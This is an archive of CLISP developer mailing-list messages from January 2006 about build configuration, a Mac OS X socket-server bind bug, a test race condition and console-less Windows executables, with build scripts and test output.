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>>> documentation, though it makes sense for standalone executables.
>>
>> look for "init-function" in
>> http://clisp.cons.org/impnotes/image.html
>
> The arguments are processed before init-function is called, so that
> doesn't help. It would be possible to CUSTOM:*INIT-HOOKS* as a
> workaround if ext:*args* were initialized before calling the hooks,
> but it is not the case.

I don't understand what you want.

suppose you want your program to add its arguments.
you do this:

$ clisp -norc -x '(saveinitmem "adder" :executable t :norc t :quiet t
   :init-function (lambda () (print (reduce (function +) ext:*args* :key
   (function read-from-string))) (ext:exit)))'

$ ./adder "" 1 2 3 4
10
$

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Hello!

It seems to me there's a bug in configure or in the INSTALL documentation:

Using ./configure --with-${LIBRARY}-prefix=/some/path is not enough to
have it find a library.


I've installed zlib 1.2 (with --prefix=/usr/local) in /usr/local.

Then I try to compile clisp (2.35 - 2.38)
with ./configure  --with-zlib-prefix=/usr/local ... -with-module=zlib
but it keeps complaining about zlib:

checking for unistd.h... (cached) yes
checking zlib.h usability... yes
checking zlib.h presence... yes
checking for zlib.h... yes
configure:  * ZLIB (Functions)
checking for library containing compress2... -lz
checking for compressBound... no
configure: error: ZLIB version 1.2 or better is required
make: *** [zlib] Error 1

[pjb@thalassa clisp-2.38]$ grep 'define ZLIB_VERSION' /usr/local/include/zlib.h 
#define ZLIB_VERSION "1.2.3"

[pjb@thalassa clisp-2.38]$ echo $LD_LIBRARY_PATH
/local/apps/rvplayer5.0:/usr/lib/Real:/usr/local/lib:/usr/lib:/opt/kde/lib:/opt/kde2/bin:/opt/gnome/lib:/lib


I need to add: export LDFLAGS=-L/usr/local/lib  
to have it find it.


#!/bin/bash
version=$(awk -F= '/PACKAGE_VERSION=/{print substr($2,2,index($2," ")-2);}' ./src/configure)
rm -rf /tmp/clisp-${version}-build/
export LDFLAGS=-L/usr/local/lib
time ./configure \
     --prefix=/usr/local/languages/clisp-${version} \
     --with-zlib-prefix=/usr/local \
     $(for m in \
           zlib \
           bindings/glibc \
           clx/new-clx \
           pcre \
           rawsock \
           regexp \
           syscalls \
           wildcard \
        ; do \
        if expr match "$m" 'i18n\|regexp\|syscalls' >/dev/null;\
        then true already there ;\
        else echo -n "--with-module=$m  " ;\
        fi ; done) \
     --build /tmp/clisp-${version}-build \
     --install




With this command 2.38  successfully compiles on Linux 2.4.26, Athlon
1200 MHz 1GB RAM, in:
650.35user 76.08system 15:25.88elapsed 78%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (3279053major+5080629minor)pagefaults 0swaps


LISP-IMPLEMENTATION-TYPE     "CLISP"
LISP-IMPLEMENTATION-VERSION  "2.38 (2006-01-24) (built 3347193361) (memory 3347193797)"
SOFTWARE-TYPE                
"gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -L/usr/local/lib  -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl   -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib -lX11
SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.2
libreadline 4.3"
SOFTWARE-VERSION             "GNU C 3.3 20030226 (prerelease) (SuSE Linux)"
MACHINE-INSTANCE             "thalassa.informatimago.com [62.93.174.79]"
MACHINE-TYPE                 "I686"
MACHINE-VERSION              "I686"
*FEATURES*                   
(:COM.INFORMATIMAGO.PJB :ASDF-INSTALL :SPLIT-SEQUENCE :ASDF :WILDCARD :RAWSOCK :PCRE :CLX-ANSI-COMMON-LISP
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 :BASE-CHAR=CHARACTER :PC386 :UNIX)

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Thanks for the new executable keyword, now only some minor patches are need
for a console-less application. Looks like there is some magic from MinGW or
Windows, which maps the WinMain-char* argument to the main-arguments, when
no WinMain function is supplied, but when it is compiled with the -mwindows
compiler switch, so the patch is much shorter now. I've updated my CLISP
build page:

http://www.frank-buss.de/lisp/clab/trunk/clisp/index.html 

What do you think about generating an additional package "full-gui", or
something like this for the Windows release, where this patch is applied,
parallel to "full" and "base"? Of course, after fixing my stdout/in/err
hacks, because console-less applications can use these handlers, too, when
started from command prompt with redirecting files or when executed from
another application with using pipes, but currently not with CLISP with my
patch.

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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-01-25 17:16:17 +0100]:
>
> Using ./configure --with-${LIBRARY}-prefix=/some/path is not enough to
> have it find a library.

yes it is.

> I've installed zlib 1.2 (with --prefix=/usr/local) in /usr/local.
>
> Then I try to compile clisp (2.35 - 2.38)
> with ./configure  --with-zlib-prefix=/usr/local ... -with-module=zlib
> but it keeps complaining about zlib:

zlib names the package, not the library.
try "--with-libz-prefix=/usr/local" instead.

this option is added by
AC_LIB_LINKFLAGS([z])
so all further inquiries should be directed to the autoconf maintainers.

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Date: Wed Jan 25 09:35:10 2006
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On 17 jan 2006, at 15:20, Sam Steingold wrote:

> clisp 2.37 has a bug on open :if-exists :append, so I want to release
> 2.38 ASAP.
> the only blocker is the mac os x socket bug.
> it has been reported that this bug was not present in 2.36, so the 
> brute
> force "fill everything with 0" patch will NOT go in.
> since the mac os x SF CF hosts are dead, I cannot debug this.
> it is up to you, the mac os x users, to close this issue.
> what you have to do is:
>
> 1. make sure that it was the Dec 19
>    "(SOCKET-SERVER): accept keywords :INTERFACE :BACKLOG"
>    patch that broke mac os x
>
> 2. find out why it fails (using, e.g., strace).  specifically,
>    (socket-server) and (socket-server 3456) - do they work or fail on
>    2.37 and 2.36?  what are the traces (around the failed calls and the
>    corresponding sucessful calls)
>
> it is up to you to ensure that sockets work on your system in clisp 
> 2.38.
>

OK, clisp 2.38 has been released with out this resolved, just as I am 
getting enough compute cycles to perhaps get to the bottom of this.

1. Indeed before the addition of :INTERFACE etc, the socket-server code 
worked. And after it didn't. I have looked at the call to bind in gdb 
in both instances and the difference is that before it tried to bind to 
address 0 (0.0.0.0) and after it is binding to 127.0.0.1. And with the 
non zero address bind fails. I verified this by setting it to zero in 
the debugger and stepping past bind.

(gdb) print ({struct sockaddr_in} addr).sin_addr.s_addr=0


I found this interesting comment in the OpenMCL source:

   ;; Darwin includes the SIN_ZERO field of the sockaddr_in when
   ;; comparing the requested address to the addresses of configured
   ;; interfaces (as if the zeros were somehow part of either address.)
   ;; "rletz" zeros out the stack-allocated structure, so those zeros
   ;; will be 0.

I tried instead of setting sin_addr to zero, I zeroed sin_zero:

(gdb) print ({struct sockaddr_in} addr).sin_zero="\0\0\0\0\0\0\0"

That worked to, with 127.0.0.1 in sin_addr.

Perhaps it is like this: If the bind address is 0 (i.e. the any 
address) it is accepted directly. If the address is not 0, the list of 
interfaces is scanned to find a matching interface and when comparing 
the sin_zero part of the struct is included (perhaps that part is used 
for ipv6?). I'm not sure if this is documented. But clearing sin_zero 
seems reasonable.

2. Given the above, (socket-server 0 :interface "0.0.0.0") should work. 
But it doesn't. I looked at the code for socket-server in stream.d and 
it looks strange to me. It seems that if interface is specified as a 
string, create_server_socket_by_string will be called twice. The second 
time with "127.0.0.1" hardcoded as the address and also leaking the 
socket from the first call. Perhaps I am misreading the code, but it 
looks wrong to me.

//Lennart Staflin



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> * Lennart Staflin <yrafg@ylfngbe.yvh.fr> [2006-01-25 18:34:36 +0100]:
>
> 2. Given the above, (socket-server 0 :interface "0.0.0.0") should
>    work. But it doesn't. I looked at the code for socket-server in
>    stream.d and it looks strange to me. It seems that if interface is
>    specified as a string, create_server_socket_by_string will be called
>    twice. The second time with "127.0.0.1" hardcoded as the address and
>    also leaking the socket from the first call. Perhaps I am misreading
>    the code, but it looks wrong to me.
thanks, I just fixed this bug in the CVS

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> * Frank Buss <so@senax-ohff.qr> [2006-01-25 17:39:32 +0100]:
>
> Thanks for the new executable keyword, now only some minor patches are
> need for a console-less application. Looks like there is some magic
> from MinGW or Windows, which maps the WinMain-char* argument to the
> main-arguments, when no WinMain function is supplied, but when it is
> compiled with the -mwindows compiler switch, so the patch is much
> shorter now. I've updated my CLISP build page:
>
> http://www.frank-buss.de/lisp/clab/trunk/clisp/index.html 
>
> What do you think about generating an additional package "full-gui",
> or something like this for the Windows release, where this patch is
> applied, parallel to "full" and "base"? Of course, after fixing my
> stdout/in/err hacks, because console-less applications can use these
> handlers, too, when started from command prompt with redirecting files
> or when executed from another application with using pipes, but
> currently not with CLISP with my patch.

I don't quite understand how you are going to use the console-less
CLISP.
it will not have stdio, so it will have to do all interaction over a GUI.
it appears that detaching from the console is all you want and I see no
reason not to do it at run time.

what does -mwindows do, exactly?

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Compiling clisp 2.38 I got an error from streams.tst but rerunning the 
test it worked. The test that failed was:

#+clisp
(let ((f "foo.bar") fwd size dir decoded)
   (unwind-protect
        (progn (with-open-file (s f :direction :output)
                 (write s :stream s)
                 (setq fwd (file-write-date s)
                       size (file-length s)))
               (setq dir (first (directory f :full t))
                     decoded (subseq (multiple-value-list
                                      (decode-universal-time fwd))
                                     0 6))
               (list (or (equal (third dir) decoded)
                         (list dir fwd decoded))
                     (or (= (fourth dir) size)
                         (list dir size))))
     (delete-file f)))
#+clisp (T T)

The first part failed, the write date from file-write-date differed by 
1 second from the directory  result. But isn't it reasonable that 
closing a output file will update the write time? If so there is a race 
condition with the clock ticking over a second and the between the call 
to file-write-date and directory.

//Lennart Staflin



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> * Lennart Staflin <yrafg@ylfngbe.yvh.fr> [2006-01-25 20:08:08 +0100]:
>
> Compiling clisp 2.38 I got an error from streams.tst but rerunning the
> test it worked. The test that failed was:
>
> #+clisp
> (let ((f "foo.bar") fwd size dir decoded)
>    (unwind-protect
>         (progn (with-open-file (s f :direction :output)
>                  (write s :stream s)
>                  (setq fwd (file-write-date s)
>                        size (file-length s)))
>                (setq dir (first (directory f :full t))
>                      decoded (subseq (multiple-value-list
>                                       (decode-universal-time fwd))
>                                      0 6))
>                (list (or (equal (third dir) decoded)
>                          (list dir fwd decoded))
>                      (or (= (fourth dir) size)
>                          (list dir size))))
>      (delete-file f)))
> #+clisp (T T)
>
> The first part failed, the write date from file-write-date differed by
> 1 second from the directory result. But isn't it reasonable that
> closing a output file will update the write time? If so there is a
> race condition with the clock ticking over a second and the between
> the call to file-write-date and directory.

very interesting.
how about the appended patch?
it should fix the race condition.

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--- streams.tst	22 Jan 2006 16:48:52 -0500	1.44
+++ streams.tst	25 Jan 2006 14:18:00 -0500	
@@ -977,8 +977,9 @@
   (unwind-protect
        (progn (with-open-file (s f :direction :output)
                 (write s :stream s)
-                (setq fwd (file-write-date s)
-                      size (file-length s)))
+                (setq size (file-length s)))
+              (with-open-file (s f :direction :probe)
+                (setq fwd (file-write-date s)))
               (setq dir (first (directory f :full t))
                     decoded (subseq (multiple-value-list
                                      (decode-universal-time fwd))


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> * Frank Buss <so@senax-ohff.qr> [2006-01-25 17:39:32 +0100]:
>
> http://www.frank-buss.de/lisp/clab/trunk/clisp/index.html 

1. the stream.d patch that breaks make_keyboard_stream() is not needed -
   even gui might want to receive keyboard  input.

2. the win32aux.d patch discards the stdio.  is it equivalent to
   detaching from a console?  if yes, we should add 2 lisp functions
   instead: one to detach from a console, and one to open a new console:
   (console-close) and (console-open)

3. I don't know what -mwindows does.

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> I don't quite understand how you are going to use the console-less
> CLISP.

This question is simple: I want to create applications in Lisp, which starts
without a console-window, just like nearly every other windows program, like
Notepad, Minesweeper, Word, Outlook etc.

> it will not have stdio, so it will have to do all interaction 
> over a GUI.

With my patch it has no stdio, but of course you can create console-less
programs, which can read from stdin and stdout. For example see this Windows
program:

#include <windows.h>
#include <stdio.h>

int APIENTRY WinMain(HINSTANCE hInstance,
		     HINSTANCE hPrevInstance,
		     LPSTR     lpCmdLine,
		     int       nCmdShow )
{
	while (true) {
		int c = getchar();
		if (c == EOF) break;
		putchar(c);
	}
}

$ gcc -mwindows main.cpp -o contest.exe

Frank@GALILEI /c/tmp/contest
$ echo "Hello" | contest.exe > out.txt

Frank@GALILEI /c/tmp/contest
$ cat out.txt
Hello

But you are right, the user has no REPL, that's the reason I suggest to
create the console-less version in an extra directory, which then is used
for delivering applications and developers can continue to use the "full"
package and console-lisp.exe.

> it appears that detaching from the console is all you want 
> and I see no reason not to do it at run time.

If it is possible at runtime without first creating a console-window, this
would be fine, but I don't think that this is possible. But perhaps the
other way around could be possible: Open a console-window from a Windows
program.

> what does -mwindows do, exactly?

See e.g. http://gcc.gnu.org/ml/gcc-help/2004-01/msg00225.html . The effect
is that when the exe-file is executed by double-click, no console-window is
created.

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> * Frank Buss <so@senax-ohff.qr> [2006-01-25 20:25:53 +0100]:
>
> create the console-less version in an extra directory, which then is used
> for delivering applications and developers can continue to use the "full"
> package and console-lisp.exe.
>
>> it appears that detaching from the console is all you want 
>> and I see no reason not to do it at run time.
>
> If it is possible at runtime without first creating a console-window,
> this would be fine, but I don't think that this is possible. But
> perhaps the other way around could be possible: Open a console-window
> from a Windows program.

fine by me, as long as the current console window is re-used.

>> what does -mwindows do, exactly?
>
> See e.g. http://gcc.gnu.org/ml/gcc-help/2004-01/msg00225.html . The
> effect is that when the exe-file is executed by double-click, no
> console-window is created.

I see.

the problem I have with -mwindows is that it requires distributing two
more runtimes with clisp and that would increase the size of the
distribution by maybe 30%.
it will probably increase user confusion by much more than 30%.

I would prefer that the normal lisp.exe opened a console depending on
the command-line option "-console=yes" or "-console=no" and the default
should be settable in SAVEINITMEM (like it is now for -q and -norc).

actually, instead of open-console and close-console we need to be able
to do (make-stream :console) that would create a new console window and
return a terminal stream pointing to it.  (make-stream :parent) should
return a terminal stream pointing to the console from which clisp was
started.

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> fine by me, as long as the current console window is re-used.

yes, this should be possible:

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/bas
e/allocconsole.asp

AllocConsole creates a new console, but fails, if already attached to a
console.

> I would prefer that the normal lisp.exe opened a console depending on
> the command-line option "-console=yes" or "-console=no" and 
> the default
> should be settable in SAVEINITMEM (like it is now for -q and -norc).

yes, this is a good idea. The clisp.exe starter can use the console=yes
switch, then it should be backward compatible and we don't need another
runtime directory.

> actually, instead of open-console and close-console we need to be able
> to do (make-stream :console) that would create a new console 
> window and
> return a terminal stream pointing to it.  (make-stream :parent) should
> return a terminal stream pointing to the console from which clisp was
> started.

I don't know the internals of the console handling in CLISP. I've tried to
rewrite the stdio-functions to work with lisp.exe compiled with -mwindows,
but it crashed, sometimes only in Windows XP, sometimes in Windows 98. This
was the reason for my hack with the Windows NUL device. But if you think
your make-stream patch works, then it's fine by me, if you implement it. I
can test it on Windows 98 and Windows XP (the two system I like to release
programs for at least).

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> * Frank Buss <so@senax-ohff.qr> [2006-01-25 21:12:04 +0100]:
>
> http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/allocconsole.asp
>
> AllocConsole creates a new console, but fails, if already attached to
> a console.

can an application open several console windows?
e.g., to separate *standard-output* and *error-output* (like make-io-xterm)

>> actually, instead of open-console and close-console we need to be
>> able to do (make-stream :console) that would create a new console
>> window and return a terminal stream pointing to it.  (make-stream
>> :parent) should return a terminal stream pointing to the console from
>> which clisp was started.
>
> I don't know the internals of the console handling in CLISP. I've
> tried to rewrite the stdio-functions to work with lisp.exe compiled
> with -mwindows, but it crashed, sometimes only in Windows XP,
> sometimes in Windows 98. This was the reason for my hack with the
> Windows NUL device. But if you think your make-stream patch works,
> then it's fine by me, if you implement it. I can test it on Windows 98
> and Windows XP (the two system I like to release programs for at
> least).

no, you will have to do it yourself.

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> can an application open several console windows?
> e.g., to separate *standard-output* and *error-output* (like 
> make-io-xterm)

the MSDN documentation for AllocConsole says: "A process can be associated
with only one console".

But I think you can separate standard-output and error-output, but not in
different console windows, but e.g. standard-output in a console-windows and
error-output in a file.

> no, you will have to do it yourself.

Sorry, currently I don't have much time and the console handling in CLISP
looks a bit confusing for me, with all those supported operating systems and
special cases, perhaps next month, but for now I can live with my patch :-)

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Sam Steingold writes:
> > * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-01-25 17:16:17 +0100]:
> >
> > Using ./configure --with-${LIBRARY}-prefix=/some/path is not enough to
> > have it find a library.
> 
> yes it is.
> 
> > I've installed zlib 1.2 (with --prefix=/usr/local) in /usr/local.
> >
> > Then I try to compile clisp (2.35 - 2.38)
> > with ./configure  --with-zlib-prefix=/usr/local ... -with-module=zlib
> > but it keeps complaining about zlib:
> 
> zlib names the package, not the library.
> try "--with-libz-prefix=/usr/local" instead.

All right.  Thank you. 
 
> this option is added by
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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-01-25 21:54:40 +0100]:
>
> Sam Steingold writes:
>> > * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-01-25 17:16:17 +0100]:
>> >
>> > Using ./configure --with-${LIBRARY}-prefix=/some/path is not enough to
>> > have it find a library.
>> 
>> yes it is.
>> 
>> > I've installed zlib 1.2 (with --prefix=/usr/local) in /usr/local.
>> >
>> > Then I try to compile clisp (2.35 - 2.38)
>> > with ./configure  --with-zlib-prefix=/usr/local ... -with-module=zlib
>> > but it keeps complaining about zlib:
>> 
>> zlib names the package, not the library.
>> try "--with-libz-prefix=/usr/local" instead.
>
> All right.  Thank you. 
>  
>> this option is added by
>> AC_LIB_LINKFLAGS([z])
>> so all further inquiries should be directed to the autoconf maintainers.

please try
./configure --help
./configure --help-modules

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Compiling clisp-2.38 on MacOSX 10.4 on iMac G5 mostly works, but with
these two problems:

-  --with-dynamic-ffi  doesn't work

-  we get a big socket.erg  (A simple test using socket-connect,
                             format and read-line seems to work ok,
                             the problems may be with the test...).


Mach kernel version:
         Darwin Kernel Version 8.4.0: Tue Jan  3 18:22:10 PST 2006; root:xnu-792.6.56.obj~1/RELEASE_PPC
Kernel configured for a single processor only.
1 processor is physically available.
Processor type: ppc970 (PowerPC 970)
Processor active: 0
Primary memory available: 1.50 gigabytes
Default processor set: 71 tasks, 196 threads, 1 processors
Load average: 0.00, Mach factor: 0.99


#!/bin/bash
version=$(awk -F= '/PACKAGE_VERSION=/{print substr($2,2,index($2," ")-2);}' ./src/configure)
rm -rf /tmp/clisp-${version}-build/
time ./configure \
     --prefix=/usr/local/languages/clisp-${version} \
     $(for m in \
           clx/new-clx \
           rawsock \
           regexp \
           syscalls \
        ; do \
        if expr "$m" : 'i18n\|regexp\|syscalls' >/dev/null;\
        then true already there ;\
        else echo -n "--with-module=$m  " ;\
        fi ; done) \
     --build /tmp/clisp-${version}-build \
     --install


LISP-IMPLEMENTATION-TYPE     "CLISP"
LISP-IMPLEMENTATION-VERSION  "2.38 (2006-01-24) (built 3347210846) (memory 3347211221)"
SOFTWARE-TYPE
"gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare \
-O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -I. -x none libcharset.a -lncurses  -liconv -lsigsegv -L/usr\
/X11R6/lib -lX11
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.2
libiconv 1.9"
SOFTWARE-VERSION             "GNU C 4.0.1 (Apple Computer, Inc. build 5250)"
MACHINE-INSTANCE             "m142.net81-66-78.noos.fr [81.66.78.142]"
MACHINE-TYPE                 "POWER MACINTOSH"
MACHINE-VERSION              "POWER MACINTOSH"
*FEATURES*
(:COM.INFORMATIMAGO.PJB :ASDF-INSTALL :SPLIT-SEQUENCE :ASDF :RAWSOCK
 :CLX-ANSI-COMMON-LISP :CLX :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP
 :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS
 :LOGICAL-PATHNAMES :SCREEN :UNICODE :BASE-CHAR=CHARACTER :UNIX :MACOS)

------------------------------------------------------------------------
...
./test1
Works, test1 passed.
./test2
test2 passed.
touch tests.passed.powerpc-apple-darwin8.4.0
gcc -g -O2 -I. -I/local/src/clisp/clisp-2.38/ffcall/callback -c /local/src/clisp/clisp-2.38/ffcall/callback/m\
initests.c
/bin/sh ./libtool --mode=link gcc -g -O2 -x none minitests.o libcallback.la -o minitests
gcc -g -O2 -x none minitests.o -o minitests  ./.libs/libcallback.a
./minitests > minitests.out
make: *** [check] Error 132
./configure: despite --with-dynamic-ffi, FFCALL could not be built

[pjb@m142 clisp-2.38]$ cat /tmp/clisp-2.38-build/avcall/minitests.out
void f(void):
void f(void):
int f(void):->99
int f(void):->99
int f(int):(1)->2
int f(int):(1)->2
int f(2*int):(1,2)->3
int f(2*int):(1,2)->3
int f(4*int):(1,2,3,4)->10
int f(4*int):(1,2,3,4)->10
int f(8*int):(1,2,3,4,5,6,7,8)->36
int f(8*int):(1,2,3,4,5,6,7,8)->36
int f(16*int):(1,2,3,4,5,6,7,8,9,11,12,13,14,15,16,17)->143
int f(16*int):(1,2,3,4,5,6,7,8,9,11,12,13,14,15,16,17)->143
float f(float):(0.1)->1.1
float f(float):(0.1)->1.1
float f(2*float):(0.1,0.2)->0.3
float f(2*float):(0.1,0.2)->0.3
float f(4*float):(0.1,0.2,0.3,0.4)->1
float f(4*float):(0.1,0.2,0.3,0.4)->1
float f(8*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6
float f(8*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6
float f(16*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1.7)->14.3
float f(16*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1.7)->14.3
double f(double):(0.1)->1.1
double f(double):(0.1)->1.1
double f(2*double):(0.1,0.2)->0.3
double f(2*double):(0.1,0.2)->0.3
double f(4*double):(0.1,0.2,0.3,0.4)->1
double f(4*double):(0.1,0.2,0.3,0.4)->1
double f(8*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6
double f(8*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6
double f(16*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1.7)->14.3
double f(16*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1.7)->14.3
uchar f(uchar,ushort,uint,ulong):(97,2,3,4)->255
uchar f(uchar,ushort,uint,ulong):(97,2,3,4)->255
double f(int,int,double,double):(1,2,0.3,0.4)->3.7
double f(int,int,double,double):(1,2,0.3,0.4)->3.7
double f(int,double,int,double):(1,0.2,3,0.4)->4.6
double f(int,double,int,double):(1,0.2,3,0.4)->4.6
ushort f(char,double,char,double):('a',0.2,'\200',0.4)->65506
ushort f(char,double,char,double):('a',0.2,'\200',0.4)->65506
void* f(void*,double*,char*,Int*):(0x71f6,0x7268,0x6b90,0x7160)->0x7269
void* f(void*,double*,char*,Int*):(0x71f6,0x7268,0x6b90,0x7160)->0x7269
Int f(Int,Int,Int):({1},{2},{3})->{6}
Int f(Int,Int,Int):({1},{2},{3})->{6}
J f(J,int,J):({47,11},2,{73,55})->{120,68}
J f(J,int,J):({47,11},2,{73,55})->{120,68}

[pjb@m142 clisp-2.38]$ cat /tmp/clisp-2.38-build/callback/minitests.out
void f(void):
void f(void):
int f(void):->99
int f(void):->99
int f(int):(1)->2
int f(int):(1)->2
int f(2*int):(1,2)->3
int f(2*int):(1,2)->3
int f(4*int):(1,2,3,4)->10
int f(4*int):(1,2,3,4)->10
int f(8*int):(1,2,3,4,5,6,7,8)->36
int f(8*int):(1,2,3,4,5,6,7,8)->36
int f(16*int):(1,2,3,4,5,6,7,8,9,11,12,13,14,15,16,17)->143
int f(16*int):(1,2,3,4,5,6,7,8,9,11,12,13,14,15,16,17)->143
float f(float):(0.1)->1.1
float f(float):(0.1)->1.1
float f(2*float):(0.1,0.2)->0.3
float f(2*float):(0.1,0.2)->0.3
float f(4*float):(0.1,0.2,0.3,0.4)->1
float f(4*float):(0.1,0.2,0.3,0.4)->1
float f(8*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6
float f(8*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6
float f(16*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1.7)->14.3
float f(16*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1.7)->14.3
double f(double):(0.1)->1.1
double f(double):(0.1)->1.1
double f(2*double):(0.1,0.2)->0.3
double f(2*double):(0.1,0.2)->0.3
double f(4*double):(0.1,0.2,0.3,0.4)->1
double f(4*double):(0.1,0.2,0.3,0.4)->1
double f(8*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6

---------(socket.erg)---------------------------------------------------
Form: (DEFPARAMETER *SERVER* (SOCKET-SERVER))
CORRECT: *SERVER*
CLISP  : ERROR
UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address

OUT:
"[SIMPLE-OS-ERROR]: UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address

"


Form: (MULTIPLE-VALUE-LIST (SOCKET-STATUS *SERVER* 0))
CORRECT: (NIL 0)
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (DEFPARAMETER *SOCKET-1* (SOCKET-CONNECT (SOCKET-SERVER-PORT *SERVER*) "localhost" :TIMEOUT 0))
CORRECT: *SOCKET-1*
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (DEFPARAMETER *STATUS-ARG* (LIST (LIST *SERVER*) (LIST *SOCKET-1* :IO)))
CORRECT: *STATUS-ARG*
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (EQ (SOCKET-STATUS *STATUS-ARG* 0) *STATUS-ARG*)
CORRECT: T
CLISP  : ERROR
EVAL: variable *STATUS-ARG* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *STATUS-ARG* has no value

"


Form: (CDR (ASSOC *SERVER* *STATUS-ARG*))
CORRECT: T
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (CDDR (ASSOC *SOCKET-1* *STATUS-ARG*))
CORRECT: :OUTPUT
CLISP  : ERROR
EVAL: variable *SOCKET-1* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value

"


Form: (DEFPARAMETER *SOCKET-2* (SOCKET-ACCEPT *SERVER*))
CORRECT: *SOCKET-2*
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (PROGN (PUSH (LIST *SOCKET-2* :IO) *STATUS-ARG*) (EQ *STATUS-ARG* (SOCKET-STATUS *STATUS-ARG* 0)))
CORRECT: T
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (CDR (ASSOC *SERVER* *STATUS-ARG*))
CORRECT: NIL
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (CDDR (ASSOC *SOCKET-1* *STATUS-ARG*))
CORRECT: :OUTPUT
CLISP  : ERROR
EVAL: variable *SOCKET-1* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value

"


Form: (CDDR (ASSOC *SOCKET-2* *STATUS-ARG*))
CORRECT: :OUTPUT
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value

"


Form: (WRITE-LINE "foo" *SOCKET-1*)
CORRECT: "foo"
CLISP  : ERROR
EVAL: variable *SOCKET-1* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value

"


Form: (FINISH-OUTPUT *SOCKET-1*)
CORRECT: NIL
CLISP  : ERROR
EVAL: variable *SOCKET-1* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value

"


Form: (EQ (SOCKET-STATUS *STATUS-ARG* 0) *STATUS-ARG*)
CORRECT: T
CLISP  : ERROR
EVAL: variable *STATUS-ARG* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *STATUS-ARG* has no value

"


Form: (CDR (ASSOC *SERVER* *STATUS-ARG*))
CORRECT: NIL
CLISP  : ERROR
EVAL: variable *SERVER* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value

"


Form: (CDDR (ASSOC *SOCKET-1* *STATUS-ARG*))
CORRECT: :OUTPUT
CLISP  : ERROR
EVAL: variable *SOCKET-1* has no value

OUT:
"[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value

"


Form: (CDDR (ASSOC *SOCKET-2* *STATUS-ARG*))
CORRECT: :IO
CLISP  : ERROR
EVAL: variable *SOCKET-2* has no value

OUT:
